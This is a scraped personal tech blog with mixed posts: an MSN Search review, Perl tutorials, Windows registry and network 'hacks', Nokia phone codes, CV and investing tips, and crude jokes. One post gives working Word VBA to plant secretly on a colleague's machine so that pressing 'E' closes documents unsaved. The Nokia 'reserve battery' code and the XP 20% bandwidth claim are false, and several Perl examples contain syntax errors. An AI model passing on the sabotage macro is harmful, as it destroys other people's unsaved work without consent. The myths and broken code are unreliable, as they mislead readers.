Using all three sliders in combination produces a remarkably wide range of results for the same query, and for some types of searches can be extremely useful. In other cases, results become, well, just bizarre. I love the idea of giving searchers more control over results, and I like the idea of using sliders, but this particular feature will need refinement before it catches on in a big way.

Image search is also new, but not unique. MSN Search has partnered with Picsearch to provide access to over 400 million images. Osmer says that MSN Search starts with the Picsearch database and adds its own tweaks, but at this point results from MSN Search and Picsearch are almost identical for the test queries I ran.

The quality of image search results is reasonably high, especially when compared to an image search in Google, which seems to have faltered lately. Among the majors, Yahoo's recently enhanced Image search database seems to be the clear leader in this area, at least for now.

Customization Options
Through the "Settings" link, you can set several preferences for search results. In addition to English, the MSN Search interface is available in ten other, mostly European languages. You can also specify which languages are to be included in results.

Other settings allow you to change the number of search results from the default of 10 to 15, 30, 50 or 100 per page.

Safe search is new. Moderate filtering is the default setting, screening out sexually explicit images only. Strict will eliminate both explicit images and text. You can also turn the safe search filter off.

You also have the ability to influence the number of results displayed from a particular site. Search results from the same site are grouped together, with a maximum of two displayed by default. You can change this to display one, two or three results.

Desktop Search: Missing, but Coming Soon
Contrary to what's been widely reported in the press, Microsoft will be releasing a desktop search application before the end of the year. It won't be the application that's part of the Longhorn upgrade to Windows, but rather a separate application that will integrate with MSN Search. I've seen a demo of the desktop search application and am impressed with its capabilities, but a non-disclosure agreement prohibits me from writing anything more about it until it's actually released.

Microsoft has a number of other planned enhancements that will be released before the end of the year, covering a wide range of both web and desktop content, including a blog search feature—something no major search engine has yet done, despite Google's purchase of Blogger and Yahoo's major push toward indexing RSS feeds and making them easily available via My Yahoo.

These enhancements will almost certainly strengthen the appeal of the initial MSN Search application.

A Google Killer? Not
Over the past few days as rumors of the launch of MSN search have been widely reported, speculation has focused on whether this entry by Microsoft signals the end of Google's web search domination. Not likely, and not because MSN's search engine doesn't have the technical chops to compete with Google. It does, and Microsoft seems to truly have "got religion" when it comes to web search.

But Google isn't going to stand still, as we saw with last night's stealth increase in Google's index to a reported 8 billion plus pages, which means Google is likely working with a full index of more than 10 billion items—roughly twice the size of Microsoft's web index.

Google also has a seeming lock on searchers' mental shelf space—at least for now. Rightly or wrongly, many people automatically turn to Google for search, and Microsoft will have to do much more than simply launch this initial highly laudable foray to change the searching behavior of the masses.

I think they will, both by improving this initial beta version of MSN search and gradually folding some of the seriously cool research projects cooking in Microsoft Research labs into the search engine over the next couple of years. But let's not forget Yahoo and Ask Jeeves, who are also diligently laboring away on improving their own search engines.

The bottom line for searchers is that we've now got four world class "voices," as Danny Sullivan likes to call them, who are working to outdo not only their competitors but themselves. We've also got dozens of smaller players who are developing innovative new tools and approaches that will likely be absorbed or copied by the big guys.

Far from being a Google killer, MSN Search is instead a welcome new alternative for searchers,
and a catalyst for sparking further improvements and innovations at other services. It's going to be a fun couple of years.

Hiten A. Raja
Nairobi.
KENYA.

Quote of the day:

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"Whatever you give a woman, she will make greater. If you give her sperm, she'll give you a baby.
If you give her a house, she'll give you a home. If you give her groceries, she'll give you a meal.
If you give her a smile, she'll give you her heart. She multiplies and enlarges what is given to her.
So, if you give her any crap, be ready to receive a ton of shit."

Microsoft Word Prank

2009-02-16T00:19:00.004+05:30

What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?

Step 1: Open up Micro Soft Word
Step2: Press alt F11, this will open up a vba editor for word.
Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.
Step4: Copy and past following code into the document

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like.Have fun and unleash hell.

Happy Valentine's Day..

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Introducing Perl,Part –IV

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Loops in Perl

As in any other programming language, loops in Perl allow you to execute some set of statements over and over until some stop conditions are satisfied.

1. While loop: The while loop executes a set of statements repeatedly as long as a test expression in while loop evaluates to true. The test expression is evaluated before every iteration, so the block may get executed 0 times. There is also do..while, which is similar to while loop except that the condition is evaluated at the end. The following code prints the table of 2 using while loop.

#!/usr/bin/perl
$counter = 1;
While ($counter <= 10) {
printf (2x%d = %d\n”, $counter, 2*$counter);
$counter = $counter + 1;
}

2. Do...until loop: The do..until loop execute a set of statements repeatedly until the test expression in loop becomes true. The test expression is evaluated at the end of the loop. The following code print the table of 2.

#!/usr/bin/perl
$counter = 1;
do {
printf (“2x%d=%d\n”, $counter, 2*$counter);
$counter = $counter + 1;
} until ($counter > 9)

For loop: Perl also supports for loop. This has the following form:

for(initialization; test; inc)
{
statement1;
statement2;
statement3;
………….
………….
}

3. Foreach loop: perl uses the foreach loop for going through each line of an array or other list-like structures. This has the following form:

for $var (@array)
{
statement1;
statement2;
statement3;
………….
………….
}

Subroutines in Perl

A subroutine is a block of code that can be inserted anywhere in your program and executed by calling that subroutine. Subroutines have the following structure:

sub nameofsubroutine {
statement1;
statement1;
statement1;
…………..
…………..
}

Here sub is the keyword of Perl. You can call subroutine in the following manner:

$returnval = &nameof
Subroutine (arguments)

The return value is the value of the last executed statement in subroutine. The arguments given to the subroutine are passed on to the code inside the subroutine in the special array @_. You can access the first scalar argument with $_[0], the second with $_[0] and so on.

File handling in Perl

File handling is a basic feature in any programming language and perl has very powerful mechanisms for dealing with file input/output.

Opening a file: you can use the open function for opening a file. It has the following form:

open (FILEHANDLE, FILENAME);

FILEHANDLE are not denoted by special characters like @, $ and are not strings. The FILENAME is a string and could be specified in special formats shown below and open returns 1 on success and 0 on failure.

Special filename formats:

“FILE”: open FILE for input and is same as ““>FILE”: open FILE for output, create FILE if it does not exits
“>>FILE”: open FILE for appendind
“+>FILE”: open FILE with read/write access
“| CMD”: open a pipe to CMD
“CMD |”: open a pipe from CMD

Reading and writing to a file: for reading from a file, you can use < >operator. For example;

#for reading a line from the file
$line =
#for reading the entire file
@filecont =

You can use the print function for writing to a file. The print function takes an optional first arguments, which is a filehandle. The first argument is different from the list of scalars and there is no comma after the first argument.

Closing a file: To close a file use close function, which has the following form:

close (FILEHANDLE);

Key Features of Perl

Perl is a good choice for many developers. Here are some key features are given,

1. Web page design and CGI scripting
2. Prototyping
3. Auto-Code generation and
4. Information processing

Introducing Perl, Part-III

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Perl expressions

Now, let’s see how to combine literals and variables using common operators to form expressions.
Numeric expressions and comparisons: Perl supports a number of numeric operators and functions, which take numbers as their arguments and return numbers as their results. The numeric operators are + for addition, - for subtraction, * for multiplication, / for division and ** for exponentiation. log, sin and sqrt are some numeric functions. And for numeric comparison, you can use <, <=, ==, !=, >= and > which have their usual meaning.
A combination of numeric data and operators is called a numeric expression.

String expressions and comparison: Basically there is only one string operators ‘.’, which is used to concatenate two strings. You can use le, lt, eq, ne, ge and gt for string comparison.

Boolean expressions and operators: often an expression’s result is important for whether it indicates truth or falsity. 0, 0.0, “”, “0”, and () mean false and anything other than these mean true. Common Boolean operators are ||, && and ! first two are binary operators ‘OR’ and ‘AND’ respectively. The ‘!’ is the not operator.

The ‘IF’ Statement

As in any other programming language, Perl also supports ‘if’ statements and its variations. The ‘if’ statement allows you to execute some set of statements dependent upon a condition being satisfied. For example,

if ($name eq ‘Euler’) {
print “Your name is Euler.”;
}

There can also be else conditions, e.g;

if ($name eq ‘Maan’) {
print “Your name is Maan”;
} elseif ($name eq ‘Sachin’) {
print “Your name is Sachin”;
} else {
print “You are not Maan nor sachin”;
}

Introducing perl, Part - II

2008-12-27T01:05:00.002+05:30

Perl data types and variables

There are three main types of data and four types of variables supported in perl.

Scalar data and variable: scalar data may be integer literals written without a decimal point or an ‘E’ exponent (e.g; 1332, 0x33), floating point literals numbers written with a single decimal point and or an ‘E’ exponent (e.g; 12.3, 3E7), or character string literals that are enclosed in single or double quotes (e.g; “Hello World”). A variable, which holds scalar data, is called a scalar variable. Its name always begins with ‘$’, e.g;

$varint=13, $varfloat=12.3, $varstring=”youth adda”

Array of scalar and array variables: An array is an ordered collection of scalar quantities. It can contain multiple scalars or none at all. Any element of the array can be accessed by an integer index or subscript. Normally, an array containing ‘n’ elements has indices starting at 0 and going to n-1, inclusive (1, 2, 3), (‘a’, ’b’, ‘c’), ( ) are some example of array of scalars. Any variable holding an array of scalars is called an array variable and its name should start with ‘@’, e.g; @vararray=(1, 2, 3). There exists a scalar variable @#arrayname, where arrayname is the name of the array for every array that contains a subscript of the last element of the array.

Associative array of scalars and associative array: An associative array contains any number of elements that may be indexed by arbitrary character strings, e.g; (“color”, “black”, “red” 6.8). You might think that associative array elements look the same as normal array elements. But there is a difference. In associative arrays, a successive pair represents the index or key and the value respectively. An associative array is a power feature of perl. Any variable holding an associative array of scalars is called associative array variable, and its name should start with ‘%’, e.g; @varassocarray = (“color”, “black”, “red” 5.6). The key () function can be used to get the array of all keys related to an associated array.

There is a significant difference between using the single quote and the double quote to delimit strings. If a string is delimited by a pair of single quote, then all characters within the string are taken literally, and there will be no substitution. If the string is delimited by double-quotes, a number of escape sequences will be allowed, and perl will substitute the value of the variables appearing in the string.

We will take a look at the expressions of perl in third part.
Enjoy learning!!

Introducing Perl

2008-12-26T01:00:00.000+05:30

Perl (Practical Extraction and Report Language) is a script language originally developed by Larry wall. perl is optimized for string manipulation, I/O, and system tasks. It has a very large set of built-in functions for a variety of tasks. In perl, there is no need to explicitly declare variables and you don’t also have to pre-declare the size of strings or of arrays. All variables have predictable defaults values until explicitly set. Perl is an interpreted language in the sense that your perl program’s source code can be directly executed. You don’t have to compile your program explicitly, but when you run your program, it is first compiled into byte code, and then converted into machine instructions as the program runs. Hence, perl basically lies between compiled and interpreted languages.

First Perl Program

Let us start with writing the traditional Hello World program in perl.

#!/usr/bin/perl
#
#The Traditional Hello World program
#
print ‘Hello World’; #print the string on
standard output

The first line of every perl program tells the machine what to do when this text file is executed and where the perl binary is located in the system, so that the machine can execute the text file through perl. After the first line, anything starting with # is treated as comments, and everything else is a perl statement, which must end with a semicolon. The print function is used to output information to a standard output or to a file. In our case it prints out the string ‘Hello world’ to the standard output. Type the above program in your choice of editor and save it. Now you have written first program in perl. To run this program, first change its mode. To make the file executable, use the following commands:

chmod +x filename

Where filename is the name of the file. Finally, run the program using one of the following commands;

perl filename
./filename

This is all you have to write to run your first perl program.
In next section we will look at the basic elements of the perl.

BEFORE YOU INVEST YOUR MONEY, INVEST SOME TIME

2008-12-25T15:42:00.001+05:30

Here are some useful points to bear in mind before you invest in the markets:

1. Make sure your broker is registered with the SEBI and the Exchanges and do not deal with unregistered intermediaries.
2. All investments carry risk of some kind. Investors should always know the risk that they are taking and invest to match their risk tolerance.
3. Do not be misled by market rumours, luring advertisements or 'hot tips of the day'.
4. Take informed decisions by studying the fundamentals of the company. Find out the Business the company is into, the future prospects, quality of management, past track records etc. Sources of knowing about a company are through annunal reports, economic magazines, databases available with vendors etc.
5. If anyone, including your financial advisor, advises you to invest in a company, be cautious. Spend some time checking out about the company before investing.
6. Do not be attracted by announcements of excellent results / news reports about a company. Do your own research before investing in any stock.
7. Do not attracted to stocks based on what an internet website, research reports, addvisories promote, unless you have done an adequate study of the company.
8. Investing in very low priced of stocks or what are known as penny stocks do not guarantee high returns.
9. Be cautions about stocks which show a sudden spurt in price or trading activity.
10. Any advice or tip taht claims that there are huge returns expected, especially for acting quickly, may be risky and may lead to losing some, most, or all of your money.

Happy Trading!!

Marry Christmas!!

2008-12-25T15:09:00.003+05:30

Transferring Hotmail messages to Microsoft Outlook

2008-12-25T14:47:00.003+05:30

Qus: I want to know how to transfer Hotmail messages to Microsoft Outlook, not to Outlook Express?

Asked by: Aditya Virk
Via e-mail

You can set up a Hotmail account only if you have Outlook 2002. If your version is earlier than 2002, then chances are you won't be able to create a Hotmail account. To download your Hotmail message, go to Tools > E-mail Accounts > Add a New account and click Next. When asked which protocol to use, select HTTP and click Next. Now type your Hotmail login name for User Name: and ensure that Hotmail is displayed in the top right box. Click Next and then Finish. The next time you click on Send/Receive, Outlook will download the mail from your Hotmail account.

Cyclic redundancy check data errors

2008-12-14T23:27:00.001+05:30

What does 'cyclic redundancy check error' mean?

There are plenty of technical resources on the Web that discuss cyclic redundancy checks (CRCs). Most times you won't need to worry about this technobabble. That is, until one it day it suddenly appears and you think - what the hell does that mean? In simple terms, a CRC is bit of mathematics used to ensure that your data is OK when being transfered. It's a checking procedure that quickly identifies when data has been damaged. If you get this message, it means that the file being read by your PC or software is corrupted. However, it does not mean all the data is lost forever. When data is transfered, it is usually in small blocks and each block is given a CRC value. If something goes wrong with the data between the time it leaves the source and arrives at its destination, the CRC sent at the source will no longer match the one that is calculated when the data arrives - this is when the cyclic redundancy check error will appear.

The most common time you will see the cyclic redundancy check error message is when trying to read data from a damaged CD or DVD. Just before it appears, your CD/DVD drive will probably grind and whirl away - your PC may also become a little slugglish.

Beauty of Mars again

2008-12-09T02:32:00.000+05:30

Hide or lock your computer drives.

2008-12-08T02:18:00.000+05:30

Just check the following step.

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
now right click in right side pane and create DWORD Value
Rename it as “NoViewOnDrive” (for locking drive)
or
Rename it as “NoDrives” (for Hiding drive)

Double click on it and put some numbers to lock your desired Drive and click ok.
DRIVE NOS.
FOR A : 1
FOR C : 4
FOR D : 8
FOR E : 16
FOR F : 32
FOR G : 64
FOR H : 128

finally restart or log-off the computer to take effect.
Keep in mind that “0″ is Default Value to Disable or remove this setting..
After locking the drive when you try to open it, you will see a msgbox like this
“This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator”

Enjoy Hacking..

Who Used Your Pc In Your Absence,what Did He Do?

2008-12-07T14:06:00.002+05:30

Just go start > run >eventvwr.msc

Events are stored in three log files: Application, Security, and System. These logs can be reviewed and archived.
For our purposes we want the System log. Click on “System” in the left-hand column for a list of events.
Look for a date and time when you weren’t home and your computer should have been off.

Double click on the eg: info and it will show you the detail.
You can also use this log to see how long someone was on the computer. Just look at the time the computer was turned on and off for that day.

Hope u all will like it.

Beauty of Mars

2008-12-06T02:19:00.000+05:30

How to increase your internet connection speed

2008-12-05T02:08:00.000+05:30

If you have Windows XP, try this.
You should be logged as Administrator (not even accounts with administrator privileges).

1. Start - Run - type gpedit.msc.

2. Expand the Local Computer Policy / Administrative Templates / Network Branch.

3. Highlight the QoS Packet Scheduler in left panel.

4. In right panel double click the Limit reservable bandwidth setting.

5. On setting tab check the Enabled item.

6. Where it says Bandwidth limit % change it to read 0.

The problem is, XP seems to want to reserve 20% of the bandwidth for itself.
Even with QoS disabled, even when this item is disabled. So why not use it to your advantage.

To demonstrate the problem with this on stand alone machines start up a big download from a server with an FTP client.
Try to find a server that doesn’t max out your bandwidth. In this case you want a slow to medium speed server to demonstrate this.
Let it run for a couple of minutes to get stable.
The start up another download from the same server with another instance of your FTP client.
You will notice that the available bandwidth is now being fought over and one of the clients
download will be very slow or both will slow down when they should both be using the available bandwidth.
Using this “tweak” both clients will have a fair share of the bandwidth and will not fight over the bandwidth.

Enjoy Hacking.

Disable Writing to USB Drives

2008-12-04T16:18:00.000+05:30

A common security concern at organizations is allowing users to plug in a usb flash drive, because they could so easily copy corporate data.

Since Windows XP SP2, you can disable writing to USB devices altogether using a simple registry hack.

Here it is:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
“WriteProtect”=dword:00000001

Hibernate function in windows XP

2008-12-04T15:55:00.001+05:30

The Hibernate function on Windows XP is basically the same as stand by, but with one difference. The files and programs you have open will temporarily be saved onto a specific location on the hard drive, instead of RAM.
This means that the computer can be switched off while hibernating and it will consume no power. When you turn your Windows XP on again, everything will open instantly, just like after a standby. No startup screens and waste of time.

But there is one problem with hibernate - you can only do it once. For some unexplained reason, Windows can’t hibernate severeral times in a row. The temporary hibernate file on your hard drive can’t be overwritten and you need to do a normal shutdown before you can hibernate again. I hope this problem will be fixed in future versions of Windows.

How to Hibernate

Another mystery is why the hibernate button isn’t shown on the shutdown menu by default. After all, hibernating is a lot better than standing by -no power consumption, longer than standby, computer can be turned off and makes no noise…
Anyway, to hibernate, go to the shutdown menu as usual: Start -> Turn Off Computer and hold down the shift key to relpace “stand by” with “hibernate”.

C CODE TO GENERATE AIRTEL TUNE

2008-12-04T14:47:00.003+05:30

Headers files are dos and stdio.

#include
#include
float main(void)
{
float A,Bb,D,G,F;
A = 440; G = 780; Bb = 461; D = 586; F = 687;
sound(G); delay(500); nosound();
sound(G); delay(250); nosound();
sound(G); delay(250); nosound();
sound(G); delay(500); nosound();
sound(2*D); delay(500); nosound();
sound(2*A); delay(250); nosound();
sound(2*Bb); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(500); nosound();
sound(2*A); delay(500); nosound();
sound(G); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
sound(G); delay(500); nosound();
sound(G); delay(250); nosound();
sound(G); delay(250); nosound();
sound(G); delay(500); nosound();
sound(2*D); delay(500); nosound();
sound(2*A); delay(250); nosound();
sound(2*Bb); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(500); nosound();
sound(2*A); delay(500); nosound();
sound(G); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
return 0;
}

Have fun..

HIDDEN MUSIC

2008-12-04T14:40:00.000+05:30

Microsoft Windows XP is playing a cool music during installation. It is a pleasant little tune that you’ve probably never heard,
unless you were present when Windows was being installed on your PC. After that it’s never played again,
unless you know where to look for it.

To hear what you’ve been missing, just follow these:

Make you way to C:\WINDOWS\system32\oobe\images and look for a file called “Title.wma” or possibly “Windows welcome music.wma”.

It is around 2.56Mb in size. Just double click the file and this will open Windows Media Player, or your defaul player
and it will proceed to serenade you with a more than 5 minutes music. It’s up to you to repeat it.

Enjoy lol!!

lovely wallpaper

2008-12-04T13:45:00.001+05:30

Display a banner each time Windows boots

2008-12-04T13:12:00.002+05:30

Hey Try this.

1. Go to the key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionWinLogon
2. Create a new string value in the right pane named LegalNoticeCaption and enter the value that you want to see in the menubar.

3. Create a new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots.

Enjoy Hacking.

Hack your cell phone

2008-12-02T19:25:00.000+05:30

For Nokia User

1 Imagine your cell battery is very low, you are expecting an important call and you don't have a charger.

Nokia instrument comes with a reserve battery. To activate, key is "*3370#"

Your cell will restart with this reserve and your instrument will show a 50% increase in battery.

This reserve will get charged when you charge your cell next time.

*3370# Activate Enhanced Full Rate Codec (EFR)-Your phone uses the best sound quality but talk time is reduced by approx. 5%
#3370# Deactivate Enhanced Full Rate Codec( EFR)

*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound
but you should gain approx 30% more Talk Time
*#4720# Deactivate Half Rate Codec

2 *#0000# Displays your phones software version,

1st Line : software Version,
2nd Line : Software Release Date,
3rd Line : Compression Type
3 *#9999# Phones software version if *#0000# does not work.

4 *#06# For checking the International Mobile Equipment Identity (IMEI Number)

5 #pw+1234567890+1# Provider Lock Status. (Use the "*" button to obtain the "p,w" and "+" symbols)

6 #pw+1234567890+2# Network Lock Status. (Use the "*" button to obtain the "p,w" and "+" symbols)

7 #pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

8 #pw+1234567890+4# SIM Card Lock Status.(use the "*" button to obtain the "p,w" and "+" symbols)

9 *#147# (Vodafone) this lets you know who called you last *#1471# Last call (Only Vodafone)

10 *#21# Allows you to check the number that "All Calls" are diverted To

11 *#2640# Displays security code in use

12 *#30# Lets you see the private number

13 *#43# Allows you to check the "Call Waiting" status of your phone.

14 *#61# Allows you to check the number that "On No Reply" calls are diverted to

15 *#62# Allows you to check the number that "Divert If Unreachable(no service)" calls are diverted to

16 *#67# Allows you to check the number that "On Busy Calls" are diverted to

17 *#67705646# Removes operator logo on 3310 & 3330

18 *#73# Reset phone timers and game scores

19 *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it
means you will get the best standby time possible

20 *#7760# Manufactures code

21 *#7780# Restore factory settings

22 *#8110# Software version for the nokia 8110

23 *#92702689# (to remember *#WAR0ANTY#)

Displays -
1.Serial Number,
2.Date Made
3.Purchase Date,
4.Date of last repair (0000 for no repairs),
5.Transfer User Data.
To exit this mode -you need to switch your phone off then on again

24 *#94870345123456789# Deactivate the PWM-Mem

25 **21*number# Turn on "All Calls" diverting to the phone number entered

26 **61*number# Turn on "No Reply" diverting to the phone number entered

27 **67*number# Turn on "On Busy" diverting to the phone number entered

Enjoy lol;

Tips on writing a good CV

2008-11-26T19:56:00.003+05:30

What is a CV?

Your CV is your marketing brochure through which the prospective employer decides whether he wants to see you for an interview or not.
What is the purpose of a CV?

The purpose of your CV is to fetch you an interview call.

How to write a good CV?

Include the relevant information. Your CV may require a little bit of modification according to the type of opening you are applying for. You may need to expose different facets of your personality and work experience for different openings.
Prioritize the information

A recruiter is not interested in knowing your father's name on opening up your CV. He would rather prefer to know about your educational background, if you are a fresher and your work experience, if you an experienced job seeker. Prioritize the information in the CV to maintain the attention of the recruiter.

Emphasize at right place

Learn to emphasize at right place in the CV. If you think, any of your particular achievements gives you a cutting edge over other job seekers for a particular opening, emphasize on it. For e.g. if you are a fresher and you have been a topper of your college or university, it is worth mentioning and emphasizing in the CV. Similarly, if you are an experienced worker and your particular achievement has been acknowledged by your employer, which you think can add more value to your CV while applying for a particular position, emphasize on it.

Use more impactful words

Use words which demostrate your control over things. For e.g. managed, achieved, counselled.

Use figures

Use some figures to show the extent of your activities and their impact. For e.g. Planned raw material requirements for 10 manufacturing units of the company, across 5 states.

Don't be verbose

Try to keep your CV precise and to the point. Don't fill it up with extra words. You might land up losing the recruiters attention.
Don't dump the information

A neat CV attracts the recruiter more than the one which has information dumped on it. Provide all the relevant information but in a neat and attractive manner.

Check for spellings and grammar

Try to keep your CV free of any spelling mistakes and bad grammar. They put the recruiter off.
Key areas of a good CV

While writing a CV you must first think, what is it that you want to communicate to the recruiter through your CV. Now, write your CV keeping your objective in mind. Following are the key areas which if well written catch the immediate attention of the employer.
Executive/Career summary

A well written, short and simple executive summary at the beginning of your CV will catch the immediate attention of the recruiter. Keep it short and to the point while trying to focus on your key strengths and achievements, relevant to the position.

Work experience/ Educational background

If you have a work experience, mention it after the executive summary in a chronologically descending manner with the job profile. If you are a fresher educational back ground should find this place in your CV. Mentioning acievements rather than responsibilities is more impactful.

Mention about your achievements
Mentioning achievements out of work also plays an important role. For e.g. Elected college vice president during graduation. This demostrates your leadership quality.

Avoid using "I"," my" in your CV
The recruiter knows well that you are talking about yourself in your CV. Avoid the use of words like I , my in your CV.
It makes you look egomaniac.

How to Change Your Ip Within minutes

2008-11-25T21:37:00.003+05:30

Change your IP within a minutes, Just follow me.

1. Click on “Start” in the bottom left hand corner of screen
2. Click on “Run”
3. Type in “command” and hit ok

You should now be at an MSDOS prompt screen.

4. Type “ipconfig /release” just like that, and hit “enter”
5. Type “exit” and leave the prompt
6. Right-click on “Network Places” or “My Network Places” on your desktop.
7. Click on “properties”

You should now be on a screen with something titled “Local Area Connection”, or
something close to that, and, if you have a network hooked up, all of your other
networks.

8. Right click on “Local Area Connection” and click “properties”
9. Double-click on the “Internet Protocol (TCP/IP)” from the list under the
“General” tab
10. Click on “Use the following IP address” under the “General” tab
11. Create an IP address.
12. Press “Tab” and it should automatically fill in the “Subnet Mask” section
with default numbers.
13. Hit the “Ok” button here
14. Hit the “Ok” button again

You should now be back to the “Local Area Connection” screen.

15. Right-click back on “Local Area Connection” and go to properties again.
16. Go back to the “TCP/IP” settings
17. This time, select “Obtain an IP address automatically”
18. Hit “Ok”
19. Hit “Ok” again
20. You now have a new IP address

Enjoy lol!!

Don’t disturb me honey?

2008-11-25T21:06:00.002+05:30

Wallpaper for you

2008-11-25T19:42:00.001+05:30

Know your IP Address

2008-11-25T16:45:00.000+05:30

IP address

In computer networking , an IP address ( internet protocol address ) is a unique number that devices use in order to identify and communicate with each other on a network utilizing the Internet Protocol standard. (Sometimes this is shortened to just "IP" as in "My IP is A.B.C.D".) Any participating device ó including routers , computers , time-servers, printers, internet fax machines, and some telephones ó must have its own globally unique communicable address.

IP is a network layer protocol in the internet protocol suite and is an upper layer protocol that also provides globally unique addresses (e.g., MAC address for ethernet ) but two of these addresses will not necessarily be able to communicate to each other. IP adds a service on top of these data link layer protocols ó through the use of an IP address that provides the ability to uniquely identify with and communicate with any other device on the network.

In other words, an IP address is like a full address for postal mail while a MAC address is just the house number. For example, there are many addresses with a house number of 123 but there is only one address for 123 Main Street, Anytown, California , United States . Simply mailing something to "123" will not get it there but "123 Main Street, Anytown, California, United States" is a globally unique address.

The unique nature of IP addresses makes it possible in many situations to track which computer ó and by extension, which person ó has sent a message or engaged in some other activity on the Internet. This information has been used by law enforcement authorities to identify criminal suspects; however, dynamically-assigned IP addresses can make this difficult.

Since IP addresses are not easy to remember, the Domain Name System provides the ability to map domain names (e.g. www.wikipedia.org ) to an IP address ( 207.142.131.248 ).

Dynamic vs. static IP addresses
There are two methods to assigning IP addresses to computers: dynamic and static.

Static IP addresses are used primarily for servers so that they don"t appear to "move" while non-servers are usually assigned dynamic IP addresses. Most dynamic IP address users are users of internet service providers (ISPs) since not all the users of an ISP are online at one time and the ISPs can "get away" with not having enough IP addresses for each user.

In order to use a dynamic IP address, a service such as Dynamic Host Configuration Protocol (DHCP) is used to assign addresses dynamically to devices as they request them. If a static address is used, it must be manually programmed into parameters of the device"s network interface . (It is also possible to "fake" static IP address assignments through DHCP by assigning the same IP address to a computer and no other each time it is requested.)

IP version 4
IPv4 uses 32- bit (4 byte ) addresses which limits the address space to 4,294,967,296 possible unique addresses. However, many are reserved for special purposes such as private networks (~18 million addresses) or multicast addresses (~1 million addresses). This reduces the number of addresses that can be allocated as public Internet addresses and as the number of addresses available is consumed, an IPv4 address shortage appears to be inevitable in the long run.

This limitation has helped stimulate the push towards IPv6 , which is currently in the early stages of deployment and is currently the only contender to replace IPv4. It is also sometimes impossible to track someone"s real IP because they can use Internet proxies, in which they can fake that they are from a different country

IP version 5
What would be considered IPv5 existed only as an experimental non-IP real time streaming protocol called ST2, described in RFC 1819 . In keeping with standard UNIX release conventions, all odd-numbered versions are considered experimental, and this version was never intended to be implemented; the protocol was not abandoned. RSVP has replaced it to some degree.

IP version 6
In IPv6 , the new (but not yet widely deployed) standard protocol for the Internet, addresses are 128 bits wide, which, even with generous assignment of netblocks, should suffice for the foreseeable future. In theory, there would be exactly 2 128 , or about 3.403 × 10 38 unique host interface addresses. If the earth were made entirely out of 1 cubic millimeter grains of sand, then you could give a unique address to each grain in 300 million planets the size of the earth. This large address space will be sparsely populated, which makes it possible to again encode more routing information into the addresses themselves.

Addressing
A version 6 address is written as eight 4-digit hexadecimal numbers separated by colons. For readability, addresses may be shortened in two ways. Within each colon-delimited section, leading zeroes may be truncated. Secondly, one string of zeroes (and only one) may be replaced with two colons (::). For example, all of the following addresses are equivalent:

1080:0000:0000:0000:0000:0034:0000:417A
1080:0:0:0:0:34:0:417A
1080::34:0:417A
Global unicast IPv6 addresses are constructed as two parts: a 64-bit routing part followed by a 64-bit host identifier.

Netblocks are specified as in the modern alternative for IPv4: network number, followed by a slash, and the number of relevant bits of the network number (in decimal). Example: 12AB::CD30:0:0:0:0/60 includes all addresses starting with 12AB00000000CD3.

IPv6 has many improvements over IPv4 other than just bigger address space, including autorenumbering and mandatory support for IPsec .

for more info, please visit:
http://www.geoiptool.com/en/ip_info/

HOW HAPPY IS LIFE WITHOUT A GIRLFRIEND

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1. You can stare at any Girl.......
2. You don't have to spend money on her.
3. You won't get boring result in ur board papers.
4. No girlfriend, no emotional blackmailing.
5. If u don't have a girlfriend, she can't dump u.
6. Having a girlfriend is hot, not having a girlfriend is automatically cool, and every one loves to be a cool guy.
7. This can be more to life than just waiting for the bloody phone to ring.
8. You won't have to tolerate someone else defining, "right" and "wrong" for u.
9. Girlfriend can get so possessive that you can't do anything according ur wishes anymore.
10. You can buy gifts for mom, dad, sis or grandpa instead of a girlfriend and have a happier family life.
11. You won't have to waste paper writing love letters. No more endless waiting for ur date to arrive at some weird shop place.
12. You can have more friends, as u will have more time for them.
13. You wont have to see boring love stories instead of sports.
14. You wont have to tell lie to anybody and, therefore, u'll sin less.
15. You can have good night's sleep-no need to dream about her.
16. You wont have to fight over having a 'special' friend with ur folks.
17. No nonstop nonsense.
18. You wont have drown in the pool of her tears.
19. No tension.
20. You can be "urself"
